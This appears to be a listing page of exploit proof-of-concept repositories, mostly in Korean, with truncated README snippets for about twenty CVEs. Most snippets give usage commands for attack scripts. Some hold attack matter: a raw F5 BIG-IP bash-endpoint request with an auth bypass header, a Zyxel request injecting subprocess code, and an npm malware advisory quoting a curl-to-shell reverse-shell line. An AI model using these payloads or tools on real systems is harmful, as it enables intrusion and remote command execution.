cve-2021-4034

CVE-2021-4034 이 도구는 pkexec에서 단일 명령 실행 을 위해 사용됩니다. POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from 8.8.8.8: icmpseq=1 ttl=114 time=61....

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805 Ivanti ICS 9.x, 22.x 및 Ivanti Policy Secure의 웹 구성 요소에서 발견된 인증 우회 취약점으로 인해 원격 공격자가 제어 검사를 우회하여 제한된 리소스에 액세스할 수 있습니다. 사용법: ./CVE-2023-46805.sh https://fqdn:port ./CVE-2023-46805.sh https://my.vpn.ip:443 참고: chmod +x CVE-2023-46805.sh curl 및 jsonpp 애플리케이션 필요 취약할 경우 다음과 같은 결과가 표시됩니다:...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다. 이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20 부터 마지막 취약 버전인 v1.51 까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다. 빠른 시작 임의 명령 실행 기본값은 id python3 appsmith-rce.py https://target.example.com...

CVE-2019-12725

CVE-2019-12725 ZeroShell에 명령 실행 취약점이 존재하여 공격자가 임의의 명령을 실행할 수 있습니다 도구 사용 python3 CVE-2019-12725.py -u http://127.0.0.1:1111 단일 URL 테스트 python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell 모드 python3 CVE-2019-12725.py -f url.txt 일괄 검사 면책 조항 이 문서에서 제공하는 정보의 전파 및 이용으로 인해 발생하는 모든 직간접적인 결과 및 손실은...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 익스플로잇 POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...

Blackash-CVE-2025-12762

🔐 CVE-2025-12762 — pgAdmin 4 の重大なRCE脆弱性 🚨 問題は何か？ pgAdmin 4 バージョン ≤ 9.9 に リモートコード実行（RCE） の欠陥が存在します。 攻撃者は、pgAdmin が サーバーモード で実行され、リストア中に PLAIN形式のSQLダンプ を処理する際に、ホスト上で 任意のコマンド を実行できます。 ⚙️ 技術的詳細 📡 攻撃ベクトル ネットワークベース — リモートから悪用可能 🌍 低複雑性 — トリガーが簡単 🧩 低権限要求 — 限定的なユーザーアクセスで十分 🔑 ユーザー操作不要 — トリガー後は何もクリックする必要がない...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" 면책 조항 이 도구는 학습, 연구 및 자가 점검 용도로만 사용됩니다. 불법적인 목적으로 사용해서는 안 됩니다. 이 도구 사용으로 인해 발생하는 모든 위험은 저와 관련이 없습니다! Disclaimer This tool is for study, research, and...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 이것은 ShareFile 애플리케이션CVE-2023-24489의 원격 코드 실행 취약점을 악용하는 Python 스크립트입니다. 이 취약점으로 인해 공격자는 대상 시스템에서 임의의 명령을 실행할 수 있습니다. 사용법 스크립트를 사용하려면 아래 지침을 따르세요: 1. 필요한 종속성을 설치합니다: pip install requests 2. 원하는 옵션으로 스크립트를 실행합니다: python cve.py --host --windows | --linux --cmd --mass-chec...

exploit-CVE-2014-6271

Shellshock 익스플로잇 + 취약 환경 셸쇼크Shellshock는 Bashdoor라고도 알려져 있으며, 널리 사용되는 Unix Bash 셸에서 발견된 일련의 보안 버그입니다. 첫 번째 버그는 2014년 9월 24일에 공개되었습니다. 일부 웹 서버 배포판과 같은 많은 인터넷 노출 서비스가 특정 요청을 처리하기 위해 Bash를 사용하므로, 공격자는 취약한 버전의 Bash가 임의의 명령을 실행하도록 만들 수 있습니다. 이를 통해 공격자는 컴퓨터 시스템에 대한 무단 액세스를 얻을 수 있습니다. 취약 환경 실행하기 이 환경을...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

CVE-2026-107459

The SecuShare Pro software, developed by Openfind , is susceptible to an OS Command Injection vulnerability (CWE-78 ). This flaw allows unauthenticated remote attackers to inject and execute arbitrary OS commands directly on the server. The vulnerability is classified as CRITICAL with a CVSS 3.1 ...

CVE-2022-1292

CVE-2022-1292 설명 crehash 스크립트는 명령 주입을 방지하기 위해 셸 메타 문자를 제대로 처리하지 않습니다. 이 스크립트는 일부 운영 체제에서 자동으로 실행되는 방식으로 배포됩니다. 이러한 운영 체제에서 공격자는 스크립트의 권한으로 임의의 명령을 실행할 수 있습니다. crehash 스크립트의 사용은 더 이상 사용되지 않는 것으로 간주되며 OpenSSL rehash 명령줄 도구로 대체되어야 합니다. OpenSSL 3.0.3에서 수정됨 영향: 3.0.0,3.0.1,3.0.2. OpenSSL 1.1.1o에서 수정됨...

CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248의 POC 대상 머신에서 모든 명령어 실행 사용법: python poc.py 'http://xxx.com' 'ls /' 피해자 컴퓨터에 사랑을 남기세요 poc.py...

CVE-2024-24576-PoC-Python

CVE-2024-24576-PoC-파이썬 여기에 공개된 취약점의 빠른 PoC: https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ 스크립트를 실행하면 BAT 파일에 전달할 인수를 요청합니다. 스크린샷에서 볼 수 있듯이, "를 추가하면 Windows에서 cmd를 호출하는 기본 API를 이스케이프하여 임의 명령 실행이 가능해집니다. 이 경우에는 calc.exe가 실행되었습니다. 물론 이 코드 자체는 악성 코드가 아닙니다...

CVE-2007-2447

CVE-2007-2447 Samba 익스플로잇 Samba smbd 3.0.20-Debian을 대상으로 하는 CVE-2007-2447 익스플로잇의 독립 실행형 Rust 구현체입니다. 취약점 설명 CVE-2007-2447은 Samba 3.0.0부터 3.0.25rc3까지의 버전에 존재하는 명령 삽입command injection 취약점입니다. 이 취약점은 SamrChangePassword 함수에서 발생하며, 사용자 입력을 제대로 검증하지 못해 공격자가 SMB 인증 중 사용자 이름 필드의 셸 메타문자를 통해 임의의 명령을 실행할 수 ...

CVE-2022-35914-poc

CVE-2022-35914 PoC 참조 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 사용법 pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using a...

Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

MAL-2026-17649 Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

CVE-2024-9464

CVE-2024-9464: Palo Alto Expedition 인증된 명령 주입 취약한 장치에서 CVE-2024-9464를 악용하기 위한 개념 증명입니다. 이 스크립트는 CVE-2024-5910의 관리자 재설정을 연쇄적으로 활용하여 "인증되지 않은" 임의 명령 실행을 달성합니다. 블로그 포스트 근본 원인과 침해 지표는 여기에서 확인하세요: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/ 사용법 % python3...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI에 보고된 버그 CVE-2021-25296 코드 위치 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 코드 조각 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...